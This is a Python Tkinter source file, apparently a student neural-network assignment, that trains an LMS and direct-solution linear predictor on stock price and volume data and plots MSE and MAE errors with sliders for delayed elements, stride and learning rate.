#self.file_menu.add_command(label=\"New\", command=self.menu_callback)\n        #self.file_menu.add_command(label=\"Open...\", command=self.menu_callback)\n        #self.file_menu.add_separator()\n        #self.file_menu.add_command(label=\"Exit\", command=self.menu_callback)\n        #self.dummy_menu = tk.Menu(self.menu)\n        #self.menu.add_cascade(label=\"Dummy\", menu=self.dummy_menu)\n        #self.dummy_menu.add_command(label=\"Item1\", command=self.menu_item1_callback)\n        #self.dummy_menu.add_command(label=\"Item2\", command=self.menu_item2_callback)\n        #self.help_menu = tk.Menu(self.menu)\n        #self.menu.add_cascade(label=\"Help\", menu=self.help_menu)\n        #self.help_menu.add_command(label=\"About...\", command=self.menu_help_callback)\n\n    def menu_callback(self):\n        self.root.status_bar.set('%s', \"called the menu callback!\")\n\n    def menu_help_callback(self):\n        self.root.status_bar.set('%s', \"called the help menu callback!\")\n\n    def menu_item1_callback(self):\n        self.root.status_bar.set('%s', \"called item1 callback!\")\n\n    def menu_item2_callback(self):\n        self.root.status_bar.set('%s', \"called item2 callback!\")\n\n\nclass ToolBar(tk.Frame):\n    def __init__(self, root, master, *args, **kwargs):\n        tk.Frame.__init__(self, master, *args, **kwargs)\n        #self.root = root\n        #self.master = master\n        #self.var_filename = tk.StringVar()\n        #self.var_filename.set('')\n        #self.ask_for_string = tk.Button(self, text=\"Ask for a string\", command=self.ask_for_string)\n        #self.ask_for_string.grid(row=0, column=1)\n        #self.file_dialog_button = tk.Button(self, text=\"Open File Dialog\", fg=\"blue\", command=self.browse_file)\n        #self.file_dialog_button.grid(row=0, column=2)\n        #self.open_dialog_button = tk.Button(self, text=\"Open Dialog\", fg=\"blue\", command=self.open_dialog_callback)\n        #self.open_dialog_button.grid(row=0, column=3)\n\n    def say_hi(self):\n        self.root.status_bar.set('%s', \"hi there, everyone!\")\n\n    def ask_for_string(self):\n        s = simpledialog.askstring('My Dialog', 'Please enter a string')\n        self.root.status_bar.set('%s', s)\n\n    def ask_for_float(self):\n        f = float(simpledialog.askfloat('My Dialog', 'Please enter a float'))\n        self.root.status_bar.set('%s', str(f))\n\n    def browse_file(self):\n        self.var_filename.set(tk.filedialog.askopenfilename(filetypes=[(\"allfiles\", \"*\"), (\"pythonfiles\", \"*.txt\")]))\n        filename = self.var_filename.get()\n        self.root.status_bar.set('%s', filename)\n\n    def open_dialog_callback(self):\n        d = MyDialog(self.root)\n        self.root.status_bar.set('%s', \"mydialog_callback pressed. Returned results: \" + str(d.result))\n\n    def button2_callback(self):\n        self.root.status_bar.set('%s', 'button2 pressed.')\n\n    def toolbar_draw_callback(self):\n        self.root.display_graphics.create_graphic_objects()\n        self.root.status_bar.set('%s', \"called the draw callback!\")\n\n    def toolbar_callback(self):\n        self.root.status_bar.set('%s', \"called the toolbar callback!\")\n\n\nclass MyDialog(tk.simpledialog.Dialog):\n    def body(self, parent):\n        tk.Label(parent, text=\"Integer:\").grid(row=0, sticky=tk.W)\n        tk.Label(parent, text=\"Float:\").grid(row=1, column=0, sticky=tk.W)\n        tk.Label(parent, text=\"String:\").grid(row=1, column=2, sticky=tk.W)\n        self.e1 = tk.Entry(parent)\n        self.e1.insert(0, 0)\n        self.e2 = tk.Entry(parent)\n        self.e2.insert(0, 4.2)\n        self.e3 = tk.Entry(parent)\n        self.e3.insert(0, 'Default text')\n        self.e1.grid(row=0, column=1)\n        self.e2.grid(row=1, column=1)\n        self.e3.grid(row=1, column=3)\n        self.cb = tk.Checkbutton(parent, text=\"Hardcopy\")\n        self.cb.grid(row=3, columnspan=2, sticky=tk.W)\n\n    def apply(self):\n        try:\n            first = int(self.e1.get())\n            second = float(self.e2.get())\n            third = self.e3.get()\n            self.result = first, second, third\n        except ValueError:\n            tk.tkMessageBox.showwarning(\"Bad input\", \"Illegal values, please try again\")\n\n\nclass StatusBar(tk.Frame):\n    def __init__(self, root, master, *args, **kwargs):\n        tk.Frame.__init__(self, master, *args, **kwargs)\n        self.label = tk.Label(self)\n        self.label.grid(row=0, sticky=tk.N + tk.E + tk.S + tk.W)\n\n    def set(self, format, *args):\n        self.label.config(text=format % args)\n        self.label.update_idletasks()\n\n    def clear(self):\n        self.label.config(text=\"\")\n        self.label.update_idletasks()\n\n\nclass LeftFrame:\n    \"\"\"\n    This class creates and controls the widgets and figures in the left frame which\n    are used to display the activation functions.\n    Kush Raina 2018_06_03\n    \"\"\"\n\n    def generate_Random_Weights(self,file_name):\n            self.weight_Matrix=np.random.uniform(-0.001,0.001,7840)\n            \n            self.weight_Matrix=np.reshape(self.weight_Matrix,(10,784))\n             # reshape to column vector and return it \n\n       \n    def read_one_image_and_convert_to_vector(self,file_name):\n        img = scipy.misc.imread(file_name).astype(np.float32) # read image and convert to float\n        #print(img.reshape(-1,1))\n        return img.reshape(-1,1) # reshape to column vector and return it\n\n    def convert_images_toVectors(self,file_name):\n        img = scipy.misc.imread(file_name).astype(np.float32) # read image and convert to float\n        #print(img.reshape(-1,1))\n        return img.reshape(-1,1) # reshape to column vector and return it\n    def read_csv_as_matrix(self,file_name):\n        data = np.loadtxt(file_name, skiprows=1, delimiter=',', dtype=np.float32)\n        return data  \n    \n    def normalize(self,img):\n        img=np.true_divide(img, 127.5) # read image and convert to float\n        img=np.subtract(img,1)\n        #print(img)\n        return img # reshape to column vector and return it   \n    def onhotEncoding(self,train_onehot,train_labels):\n         for i in train_labels:\n                    if i==0:\n                        temp=np.array([1,-1,-1,-1,-1,-1,-1,-1,-1,-1]).reshape(10,1)\n                    elif i==1:\n                        temp=np.array([-1,1,-1,-1,-1,-1,-1,-1,-1,-1]).reshape(10,1)\n                    elif i==2:\n                        temp=np.array([-1,-1,1,-1,-1,-1,-1,-1,-1,-1]).reshape(10,1)\n                    elif i==3:\n                        temp=np.array([-1,-1,-1,1,-1,-1,-1,-1,-1,-1]).reshape(10,1)\n                    elif i==4:\n                        temp=np.array([-1,-1,-1,-1,1,-1,-1,-1,-1,-1]).reshape(10,1)\n                    elif i==5:\n                        temp=np.array([-1,-1,-1,-1,-1,1,-1,-1,-1,-1]).reshape(10,1)\n                    elif i==6:\n                        temp=np.array([-1,-1,-1,-1,-1,-1,1,-1,-1,-1]).reshape(10,1)\n                    elif i==7:\n                        temp=np.array([-1,-1,-1,-1,-1,-1,-1,1,-1,-1]).reshape(10,1)\n                    elif i==8:\n                        temp=np.array([-1,-1,-1,-1,-1,-1,-1,-1,1,-1]).reshape(10,1)\n                    elif i==9:\n                        temp=np.array([-1,-1,-1,-1,-1,-1,-1,-1,-1,1]).reshape(10,1)\n                \n                    train_onehot=np.column_stack((train_onehot,temp))\n        #print(img)\n         return train_onehot # reshape to column vector and return it   \n\n\n    def __init__(self, root, master, debug_print_flag=False):\n\n                self.master = master\n                self.root = root\n                self.flagvar=False\n                #########################################################################\n                #  Set up the constants and default values\n                #########################################################################\n                self.xmin = 0\n                self.xmax = 10\n                self.ymin = 0\n                self.ymax = 0.1\n                self.epochno=0\n                \n                self.learning_rate = 0.1\n                self.delayed_element_value = 10\n                self.no_of_iterations = 10\n                self.training_sample=80\n                self.stride=1\n                \n                self.bias = 0.0\n                self.activation_type = \"Symmetric Hard Limit\"\n                self.learning_type=\"Delta Rule\"\n                self.x1_samples_new=0\n                self.x2_samples_new=0\n                self.errorStack=0\n                self.errorFullStack=0\n                self.epochFullStack=0\n                self.counter=0\n                \n                #data=self.read_csv_as_matrix('data_set_2.csv')\n                data=self.read_csv_as_matrix('stock_data.csv')\n                self.price=data[:,:1]\n                self.volume=data[:,1:]\n                vol=self.volume\n                pri=self.price\n                scaler = MinMaxScaler(feature_range=(-1, 1), copy=True)\n                self.priceaftermean=scaler.fit_transform(self.price)\n                a=self.priceaftermean\n                self.volaftermean=scaler.fit_transform(self.volume)\n                b=self.volaftermean\n#                pricebefore=self.price\n#                volbefore=self.volume\n#                pricemean=np.mean(self.price, keepdims=True)\n#                volumemean=np.mean(self.volume, keepdims=True)\n#                pricestd=np.std(self.price)\n#                volumestd=np.std(self.volume)\n#                priceaftermean=self.price-pricemean\n#                volaftermean=self.volume-volumemean\n#                priceaftermean=np.true_divide(priceaftermean,pricestd)\n#                volaftermean=np.true_divide(volaftermean,volumestd)\n#                print(priceaftermean)\n                \n              \n                \n                \n                \n                \n                #load data and normalize\n                \n                \n#                files=os.listdir(\"Data\")\n#                self.flag=True\n#        \n#                self.weight_Matrix=np.random.uniform(-0.001,0.001,7850)\n#                \n#                self.weight_Matrix=np.reshape(self.weight_Matrix,(10,785))\n#                for file in files:\n#                    #print(\"file \",file)\n#                    \n#                    img=self.read_one_image_and_convert_to_vector(\"Data/\"+file)\n#                    img=self.normalize(img)\n#                    img=np.row_stack((img,np.random.uniform(-0.001,0.001,1)))\n#                    label=float(file[0])\n#                    img=np.row_stack((img,label))\n#                    #print(img)\n#                 \n#                    #img=np.transpose(img)\n#                    if self.flag:\n#                        self.final=np.copy(img)\n#                        self.flag=False\n#                    else:\n#                        self.final=np.column_stack((self.final,img))\n#                        #print(self.final)\n#                \n#                \n#                self.final=self.final.transpose()   \n#                np.random.shuffle(self.final)\n#                self.test=self.final\n#                \n#                self.train = self.final[:800, :785]\n#                self.test=self.final[800:, :785]\n#                train_labels= self.final[:800, 785:]\n#                test_labels= self.final[800:, 785:]\n#                test_onehot=np.arange(10).reshape(10,1)\n#                self.train_onehot=np.arange(10).reshape(10,1)\n#                \n#                \n#                \n#                self.train_onehot=self.onhotEncoding(self.train_onehot,train_labels)\n#                self.train_onehot=self.train_onehot[:,1:]  \n#                test_onehot=self.onhotEncoding(test_onehot,test_labels)\n#                self.test_onehot=test_onehot[:,1:] \n     \n                \n                \n                #########################################################################\n                #  Set up the plotting frame and controls frame\n                #########################################################################\n                master.rowconfigure(0, weight=1)\n                master.columnconfigure(0, weight=1)\n                self.plot_frame = tk.Frame(self.master, borderwidth=10, relief=tk.SUNKEN)\n                self.plot_frame.grid(row=0, column=0, columnspan=1, sticky=tk.N + tk.E + tk.S + tk.W)\n                #self.plot_frame.grid(row=0, column=1, columnspan=1, sticky=tk.N + tk.E + tk.S + tk.W)\n                self.figure = plt.figure(figsize=(13,8))\n                #self.axes = self.figure.add_axes([0.9, 0.9, 0.6, 0.8])\n                self.axes = self.figure.add_axes()\n                self.axes = self.figure.gca()\n                self.axes.set_xlabel('Input')\n                self.axes.set_ylabel('Output')\n                # self.axes.margins(0.5)\n                self.axes.set_title(\"\")\n                plt.xlim(self.xmin, self.xmax)\n                plt.ylim(self.ymin, self.ymax)\n                self.canvas = FigureCanvasTkAgg(self.figure, master=self.plot_frame)\n                self.plot_widget = self.canvas.get_tk_widget()\n                self.plot_widget.grid(row=0, column=1, sticky=tk.N + tk.E + tk.S + tk.W)\n                # Create a frame to contain all the controls such as sliders, buttons, ...\n                self.controls_frame = tk.Frame(self.master)\n                self.controls_frame.grid(row=1, column=0, sticky=tk.N + tk.E + tk.S + tk.W)\n                #########################################################################\n                #  Set up the control widgets such as sliders and selection boxes\n                #########################################################################\n                #Number of delayed Elements \n                \n                self.delayed_element_slider = tk.Scale(self.controls_frame, variable=tk.DoubleVar(), orient=tk.HORIZONTAL,\n                                                    from_=0, to_=100, resolution=1, bg=\"#DDDDDD\",\n                                                    activebackground=\"#FF0000\", highlightcolor=\"#00FFFF\", label=\"Delayed Elements\",\n                                                    command=lambda event: self.delayed_element_slider_callback())\n                self.delayed_element_slider.set(self.delayed_element_value)\n                self.delayed_element_slider.bind(\"<ButtonRelease-1>\", lambda event: self.delayed_element_slider_callback())\n                \n                self.delayed_element_slider.grid(row=0, column=0, sticky=tk.N + tk.E + tk.S + tk.W)\n                #Creating 1st weight slider \n                self.learning_rate_slider = tk.Scale(self.controls_frame, variable=tk.DoubleVar(), orient=tk.HORIZONTAL,\n                                                    from_=0.001, to_=1, resolution=0.001, bg=\"#DDDDDD\",\n                                                    activebackground=\"#FF0000\", highlightcolor=\"#00FFFF\", label=\"Learnings Rate\",\n                                                    command=lambda event: self.learning_rate_slider_callback())\n                self.learning_rate_slider.set(self.learning_rate)\n                \n                \n                self.learning_rate_slider.bind(\"<ButtonRelease-1>\", lambda event: self.learning_rate_slider_callback())\n                \n                self.learning_rate_slider.grid(row=0, column=1, sticky=tk.N + tk.E + tk.S + tk.W)               \n \n                self.training_sample_slider = tk.Scale(self.controls_frame, variable=tk.DoubleVar(), orient=tk.HORIZONTAL,\n                                                    from_=0, to_=100, resolution=1, bg=\"#DDDDDD\",\n                                                    activebackground=\"#FF0000\", highlightcolor=\"#00FFFF\", label=\"Training Sample\",\n                                                    command=lambda event: self.training_sample_slider_callback())\n                #Creating 1st weight slider \n                self.training_sample_slider.set(self.training_sample)\n                self.training_sample_slider.bind(\"<ButtonRelease-1>\", lambda event: self.training_sample_slider_callback())\n                \n                self.training_sample_slider.grid(row=0, column=2, sticky=tk.N + tk.E + tk.S + tk.W)  \n                \n                self.stride_slider = tk.Scale(self.controls_frame, variable=tk.DoubleVar(), orient=tk.HORIZONTAL,\n                                                    from_=1, to_=100, resolution=1, bg=\"#DDDDDD\",\n                                                    activebackground=\"#FF0000\", highlightcolor=\"#00FFFF\", label=\"Stride\",\n                                                    command=lambda event: self.stride_slider_callback())\n                #Creating 1st weight slider \n                self.stride_slider.set(self.stride)\n                self.stride_slider.bind(\"<ButtonRelease-1>\", lambda event: self.stride_slider_callback())\n                \n                self.stride_slider.grid(row=0, column=3, sticky=tk.N + tk.E + tk.S + tk.W)                 \n \n\n                self.no_of_iterations_slider = tk.Scale(self.controls_frame, variable=tk.DoubleVar(), orient=tk.HORIZONTAL,\n                                                    from_=10, to_=100, resolution=1, bg=\"#DDDDDD\",\n                                                    activebackground=\"#FF0000\", highlightcolor=\"#00FFFF\", label=\"Number of Iterations\",\n                                                    command=lambda event: self.no_of_iterations_slider_callback())\n                #Creating 1st weight slider \n                self.no_of_iterations_slider.set(self.no_of_iterations)\n                self.no_of_iterations_slider.bind(\"<ButtonRelease-1>\", lambda event: self.no_of_iterations_slider_callback())\n                \n                self.no_of_iterations_slider.grid(row=0, column=4, sticky=tk.N + tk.E + tk.S + tk.W)                    \n            \n                \n                \n                # Randomize weight button\n                self.set_weight_zero = tk.Button(self.controls_frame, text=\"Set Weights to Zero\", fg=\"red\", width=20,\n                                       command=self.set_weight_zero_function)\n                self.set_weight_zero.grid(row=0, column=5)\n                self.set_weight_zero_function()\n                self.adjust_lms = tk.Button(self.controls_frame, text=\"Adjust Weights(LMS)\", fg=\"red\", width=16,\n                                       command=self.adjust_lms_function)\n                self.adjust_lms.grid(row=0, column=6)\n                \n                self.adjust_weights_direct = tk.Button(self.controls_frame, text=\"Adjust Weights Direct\", fg=\"red\", width=20,\n                                       command=self.adjust_weights_direct_func)\n                self.adjust_weights_direct.grid(row=0, column=7)\n                \n                #########################################################################\n                #  Set up the frame for drop down selection\n                #########################################################################\n#                self.label_for_activation_function = tk.Label(self.controls_frame, text=\"Activation Function Type:\",\n#                                                              justify=\"center\")\n#                self.label_for_activation_function.grid(row=0, column=4, sticky=tk.N + tk.E + tk.S + tk.W)\n#                self.activation_function_variable = tk.StringVar()\n#                self.activation_function_dropdown = tk.OptionMenu(self.controls_frame, self.activation_function_variable,\n#                                                                   \"Linear\",\"Hyperbolic Tangent\", \"Symmetric Hard Limit\", command=lambda\n#                        event: self.activation_function_dropdown_callback())\n#                \n#                self.activation_function_variable.set(\"Symmetric Hard Limit\")\n#                \n#                self.activation_function_dropdown.grid(row=0, column=4, sticky=tk.N + tk.E + tk.S + tk.W)\n#                \n#                \n#                self.label_for_learning_method = tk.Label(self.controls_frame, text=\"Learning Method Type:\",\n#                                                              justify=\"center\")\n#                self.label_for_learning_method.grid(row=0, column=5, sticky=tk.N + tk.E + tk.S + tk.W)\n#                self.learning_method_variable = tk.StringVar()\n#                self.learning_method_dropdown = tk.OptionMenu(self.controls_frame, self.learning_method_variable,\n#                                                                   \"Filtered Learning (Smoothing)\",\"Delta Rule\", \"Unsupervised Hebb\", command=lambda\n#                        event: self.learning_method_dropdown_callback())\n#                \n#                self.learning_method_variable.set(\"Delta Rule\")\n#                \n#                self.learning_method_dropdown.grid(row=0, column=5, sticky=tk.N + tk.E + tk.S + tk.W)\n                \n                self.canvas.get_tk_widget().bind(\"<ButtonPress-1>\", self.left_mouse_click_callback)\n                self.canvas.get_tk_widget().bind(\"<ButtonPress-1>\", self.left_mouse_click_callback)\n                self.canvas.get_tk_widget().bind(\"<ButtonRelease-1>\", self.left_mouse_release_callback)\n                self.canvas.get_tk_widget().bind(\"<B1-Motion>\", self.left_mouse_down_motion_callback)\n                self.canvas.get_tk_widget().bind(\"<ButtonPress-3>\", self.right_mouse_click_callback)\n                self.canvas.get_tk_widget().bind(\"<ButtonRelease-3>\", self.right_mouse_release_callback)\n                self.canvas.get_tk_widget().bind(\"<B3-Motion>\", self.right_mouse_down_motion_callback)\n                self.canvas.get_tk_widget().bind(\"<Key>\", self.key_pressed_callback)\n                self.canvas.get_tk_widget().bind(\"<Up>\", self.up_arrow_pressed_callback)\n                self.canvas.get_tk_widget().bind(\"<Down>\", self.down_arrow_pressed_callback)\n                self.canvas.get_tk_widget().bind(\"<Right>\", self.right_arrow_pressed_callback)\n                self.canvas.get_tk_widget().bind(\"<Left>\", self.left_arrow_pressed_callback)\n                self.canvas.get_tk_widget().bind(\"<Shift-Up>\", self.shift_up_arrow_pressed_callback)\n                self.canvas.get_tk_widget().bind(\"<Shift-Down>\", self.shift_down_arrow_pressed_callback)\n                self.canvas.get_tk_widget().bind(\"<Shift-Right>\", self.shift_right_arrow_pressed_callback)\n                self.canvas.get_tk_widget().bind(\"<Shift-Left>\", self.shift_left_arrow_pressed_callback)\n                self.canvas.get_tk_widget().bind(\"f\", self.f_key_pressed_callback)\n                self.canvas.get_tk_widget().bind(\"b\", self.b_key_pressed_callback)\n                \n\n    def key_pressed_callback(self, event):\n        self.root.status_bar.set('%s', 'Key pressed')\n    def g1(self):\n        print('kush')\n        \n    def displayConfusionMatrix(self):\n        if self.learning_type=='Unsupervised Hebb':\n            self.predictOutput()\n        elif self.learning_type=='Filtered Learning (Smoothing)':\n            self.predictOutputSmoothing()\n        elif self.learning_type=='Delta Rule':  \n            self.predictOutputDelta()\n        #print(self.actualClassid)\n        #print(self.predectedclassid)\n        y_pred = pd.Series(self.predectedclassid, name='Predict')\n        y_actu = pd.Series(self.actualClassid, name='Actual')\n        df_confusion = pd.crosstab(y_actu, y_pred)\n        #print(df_confusion)\n        cm = np.array(df_confusion)\n        self.display_numpy_array_as_table(cm)\n        #print(cm)\n        \n        \n    def display_numpy_array_as_table(self,input_array):\n        \t# This function displays a 1d or 2d numpy array (matrix).\n    \t# Farhad Kamangar Sept. 2018\n        if input_array.ndim==1:\n            num_of_columns,=input_array.shape\n            temp_matrix=input_array.reshape((1, num_of_columns))\n        elif input_array.ndim>2:\n            print(\"Input matrix dimension is greater than 2. Can not display as table\")\n            return\n        else:\n            temp_matrix=input_array\n        number_of_rows,num_of_columns = temp_matrix.shape\n        plt.figure()\n        self.axes.cla()\n        tb =self.axes.table(cellText=np.round(temp_matrix,2), loc=(0,0), cellLoc='center')\n        for cell in tb.properties()['child_artists']:\n    \t    cell.set_height(1/number_of_rows)\n    \t    cell.set_width(1/num_of_columns)\n        self.axes.set_xticks([])\n        self.axes.set_yticks([])\n        self.canvas.draw() \n    \t\n                    \n               \n        \n\n\n\n    def predictOutput(self):\n            #print(self.test.shape)\n            testtopredict=np.transpose(self.test)\n            #print(testtopredict.shape)\n            actualTargets=self.test_onehot\n            #print(self.weight_Matrix.shape)\n            predictedValues=np.dot(self.weight_Matrix,testtopredict)\n            predictedValues=self.calculate_activation_function(predictedValues,self.activation_type)\n            self.predectedclassid=np.argmax(predictedValues,axis=0)\n            self.actualClassid=np.argmax(actualTargets,axis=0)\n            \n\n        \n        \n\n           \n    def plotPoints(self):\n            self.axes.cla()\n            self.axes.set_xlabel('Epoch')\n            self.axes.set_ylabel('Error')\n            \n            self.errorStackPlot=self.errorFullStack[:,1:]\n            self.epochnoplot=np.transpose(self.epochno)\n            \n            self.errorStackPlot=np.transpose(self.errorStackPlot)\n            self.axes.plot(self.epochnoplot,self.errorStackPlot)\n            #self.axes.plot([2,3,4],[4,5,6])\n            self.axes.xaxis.set_visible(True)\n            self.axes.set_xlim(self.xmin, self.xmax)\n            self.axes.set_ylim(self.ymin, self.ymax)\n            \n#            plt.xlim(self.xmin, self.xmax)\n#            plt.ylim(self.ymin, self.ymax)\n#            plt.title(self.activation_type)\n            self.canvas.draw()\n            \n\n#            plt.plot(self.epochnoplot, self.errorStackPlot, 'ro')\n#            plt.axis([0, 1000, 0, 100])\n#            plt.show()           \n    def predictOutputSmoothing(self):\n            #print(self.test.shape)\n            testtopredict=np.transpose(self.test)\n            #print(testtopredict.shape)\n            actualTargets=self.test_onehot\n            #print(self.weight_Matrix.shape)\n            predictedValues=np.dot(self.weight_Matrix,testtopredict)\n            predictedValues=self.calculate_activation_function(predictedValues,self.activation_type)\n            self.predectedclassid=np.argmax(predictedValues,axis=0)\n            self.actualClassid=np.argmax(actualTargets,axis=0)\n        \n            \n    def predictOutputDelta(self):\n            #print(self.test.shape)\n            testtopredict=np.transpose(self.test)\n            actualTargets=self.test_onehot\n            #print(actualTargets)\n            #print(testtopredict.shape)\n            #print(self.weight_Matrix.shape)\n            newWeigh=self.weight_Matrix\n            #print(newWeigh)\n            predictedValues=np.dot(self.weight_Matrix,testtopredict)\n            predictedValues=self.calculate_activation_function(predictedValues,self.activation_type)\n            #print(predictedValues)\n            self.predectedclassid=np.argmax(predictedValues,axis=0)\n            self.actualClassid=np.argmax(actualTargets,axis=0)\n\n           \n            #print('kush')            \n\n    def calculate_output_Matrix(self,test1):\n            for x in range(0,(np.size(test1,1))):\n                    output=np.dot(self.weight_Matrix,test1[:,x])\n                    output=self.calculate_activation_function(output,self.activation_type)\n                    \n                    \n    def calculate_error(self):\n            correct=np.sum(self.predectedclassid == self.actualClassid)\n            error=np.size(self.actualClassid,0)-correct\n            errorPercent=((error)/np.size(self.actualClassid,0)*100)\n            self.errorStack=np.column_stack((self.errorStack,errorPercent))    \n            \n            \n            \n    def set_weight_zero_function(self):\n            self.weights=np.zeros((1, (2*self.delayed_element_value)+2))\n            self.bias=0\n            #print('shape of input matrix',self.weights.shape)\n    \n    \n    def adjust_lms_function(self):\n            #print('size 1',np.size(self.priceaftermean,1))\n            #print('size 0',np.size(self.priceaftermean,0))\n            self.count=0\n            self.itr_array=0\n            self.error_array=0\n            self.error_MEA_array=0\n            for itr in range(0,(self.no_of_iterations)):\n                self.initial=0\n                self.left=np.size(self.X_train,0)\n                #c=int(np.size(self.X_train,0)/(self.delayed_element_value+self.stride-1))\n                while(self.left>self.stride):\n                    d=self.X_train\n                    f=self.left\n                    \n                    #final=self.delayed_element_value+x+1\n    #                hj=d\n    #                y=self.volaftermean[x:self.delayed_element_value+x,:]\n                    end=(self.delayed_element_value+1)+(self.initial*self.stride)\n                    start=end-(self.delayed_element_value+1)\n                    #print('end',end)\n                    #print('start',end)\n                    self.dataVal=np.row_stack(((self.X_train[start:end,:]),(self.y_train[start:end,:])))\n                    self.target=self.X_train[end,:]\n                    self.output=np.dot(self.weights,self.dataVal)+self.bias\n                    self.error=self.target-self.output\n                    self.weights=self.weights+2*self.learning_rate*self.error*np.transpose(self.dataVal)\n                    self.bias=self.bias+2*self.learning_rate*self.error\n                    \n                    dta=self.dataVal\n                    #initial=initial+self.stride\n                    self.left=np.size(self.X_train,0)-((self.delayed_element_value+1)+(self.initial*self.stride))\n                    self.initial=self.initial+1\n                    \n                    f=self.left\n                self.calculate_errors_test() \n                print('iteration ',itr)\n                print('error ',self.errorTest)\n                self.itr_array=np.row_stack((self.itr_array,itr))\n                self.error_array=np.row_stack((self.error_array,self.errorTest))\n                self.error_MEA_array=np.row_stack((self.error_MEA_array,self.errorMAEFinal))\n                \n                \n                \n#                self.axes.set_xlabel('Epoch')\n#                self.axes.set_ylabel('Error')\n#                self.axes.plot(itr,self.errorTest)\n#                self.axes.xaxis.set_visible(True)\n#                self.axes.set_xlim(self.xmin, self.xmax)\n#                self.axes.set_ylim(self.ymin, self.ymax)\n##            \n#                plt.plot(itr,self.errorTest)\n#                plt.axis(0, 100,0, 2)\n#                #plt.ylim()\n#                #plt.title(self.activation_type)\n#                plt.show()\n#                self.canvas.draw()                \n                \n            self.itr_array=np.transpose(self.itr_array)\n            self.error_array=np.transpose(self.error_array)\n            self.error_MEA_array=np.transpose(self.error_MEA_array)\n            self.itr_array=self.itr_array[:,1:]\n            self.error_array=self.error_array[:,1:]\n            self.error_MEA_array=self.error_MEA_array[:,1:]\n            #print([1,2,3,4].size)\n            print(self.error_array)\n            print(self.error_MEA_array)\n            a=self.itr_array\n            b=self.error_array\n            self.axes.cla()\n            self.axes.set_xlabel('Epoch')\n            self.axes.set_ylabel('Error')\n            self.axes.scatter(self.itr_array,self.error_array, marker='+')\n            self.axes.scatter(self.itr_array,self.error_MEA_array, c= 'black', marker='o')\n            #plt.plot(self.itr_array, self.error_array,'ro')\n            #plt.axis([0, 10, 0, 0.1])\n            self.axes.set_title(\"LMS Learning + for MSE 0 for MAE\")\n            max1=np.max(self.error_array)\n            max2=np.max(self.error_MEA_array)\n            self.axes.set_xlim(self.xmin, self.xmax)\n            self.axes.set_ylim(self.ymin, max1+max2)\n            self.axes.xaxis.set_visible(True)\n            self.canvas.draw()\n           \n            #plt.show()\n            \n\n                \n\n    def calculate_errors_test(self):\n            self.errorTest=0\n            self.countTest=0\n            self.maearray=0\n            self.errorMAEFinal=0\n            self.initial=0\n            self.left=np.size(self.X_test,0)\n            while(self.left>self.stride):\n                \n                a=self.X_test\n                end=(self.delayed_element_value+1)+(self.initial*self.stride)\n                start=end-(self.delayed_element_value+1)\n                \n                self.testVal=np.row_stack(((self.X_test[start:end,:]),(self.y_test[start:end,:])))\n                self.targetTest=self.X_test[end,:]\n                self.actual=np.dot(self.weights,self.testVal)+self.bias\n                self.errorTest=self.errorTest+(self.targetTest-self.actual)**2\n                self.errorMAE=self.targetTest-self.actual\n                self.errorMAE=np.absolute(self.errorMAE)\n                self.errorMAEFinal=self.errorMAEFinal+self.errorMAE\n                self.countTest=self.countTest+1\n                \n                self.left=np.size(self.X_test,0)-((self.delayed_element_value+1)+(self.initial*self.stride))\n                self.initial=self.initial+1\n            \n            self.errorTest=self.errorTest/self.countTest\n            self.errorMAEFinal=self.errorMAEFinal/self.countTest\n            \n    def calculate_errors_Direct_test(self):\n            self.errorTest=0\n            self.countTest=0\n            self.maearray=0\n            self.errorMAEFinal=0\n            self.initial=0\n            self.left=np.size(self.X_test,0)\n            while(self.left>self.stride):\n                \n                a=self.X_test\n                end=(self.delayed_element_value+1)+(self.initial*self.stride)\n                start=end-(self.delayed_element_value+1)\n                \n                self.testVal=np.row_stack(((self.X_test[start:end,:]),(self.y_test[start:end,:])))\n                self.testVal=np.row_stack(((self.testVal),1))\n                self.targetTest=self.X_test[end,:]\n                self.actual=np.dot(np.transpose(self.weights1),self.testVal)\n                self.errorTest=self.errorTest+(self.targetTest-self.actual)**2\n                self.errorMAE=self.targetTest-self.actual\n                self.errorMAE=np.absolute(self.errorMAE)\n                self.errorMAEFinal=self.errorMAEFinal+self.errorMAE\n                self.countTest=self.countTest+1\n                \n                self.left=np.size(self.X_test,0)-((self.delayed_element_value+1)+(self.initial*self.stride))\n                self.initial=self.initial+1\n            \n            self.errorTest=self.errorTest/self.countTest\n            print('MSE',self.errorTest )\n            self.errorMAEFinal=self.errorMAEFinal/self.countTest       \n            print('MAE',self.errorMAEFinal )\n            self.axes.cla()\n            self.axes.set_title(\"Direct Learning + for MSE 0 for MAE\")\n            self.axes.set_xlabel('Epoch')\n            self.axes.set_ylabel('Error')\n            \n            self.axes.scatter(0.5,self.errorTest, marker='+')\n            self.axes.scatter(0.5,self.errorMAEFinal, c= 'black', marker='o')\n            max1=np.max(self.errorTest)\n            max2=np.max(self.errorMAEFinal)\n            #plt.plot(self.itr_array, self.error_array,'ro')\n            #plt.axis([0, 10, 0, 0.1])\n            self.axes.set_xlim(0, 1)\n            self.axes.set_ylim(self.ymin, max1+max2)\n            self.axes.xaxis.set_visible(True)\n            self.canvas.draw()\n            \n            \n\n           \n\n    def adjust_weights_direct_func(self):\n            \n#                initial=0\n#                self.dataVal=np.row_stack((self.X_train,self.y_train))\n#                self.R=np.dot(self.dataVal,np.transpose(self.dataVal))\n#                print(np.size(self.dataVal,0))\n#                a=self.dataVal\n#                self.dataVal=self.dataVal/((np.size(self.dataVal,0))/2)\n#                b=self.dataVal\n#                self.h=np.dot(self.X_train,self.dataVal)\n                self.countTest=0\n                self.initial=0\n                self.targetFinal=0\n                self.testValFinal=0\n                self.left=np.size(self.X_train,0)\n                self.targetFinal=0\n                self.testValFinal=0\n                while(self.left>self.stride):\n                \n                    a=self.X_test\n                    end=(self.delayed_element_value+1)+(self.initial*self.stride)\n                    start=end-(self.delayed_element_value+1)\n                \n                    self.testVal=np.row_stack(((self.X_train[start:end,:]),(self.y_train[start:end,:])))\n                    self.testVal=np.row_stack(((self.testVal),1))\n                    self.targetTest=self.X_train[end,:]\n                    \n                    self.targetFinal=self.targetFinal+self.targetTest*self.testVal\n                    a=self.targetFinal\n                    \n                    self.testValFinal=self.testValFinal+np.dot(self.testVal,np.transpose(self.testVal))\n                    \n                    \n                    b=self.testValFinal\n                    #self.testValFinal=np.row_stack(((self.testValFinal),(self.testVal)))\n                    \n                    #self.targetFinal=np.column_stack(((self.targetFinal),(self.targetTest)))\n                    self.countTest=self.countTest+1\n                    \n                \n                    self.left=np.size(self.X_train,0)-((self.delayed_element_value+1)+(self.initial*self.stride))\n                    self.initial=self.initial+1\n                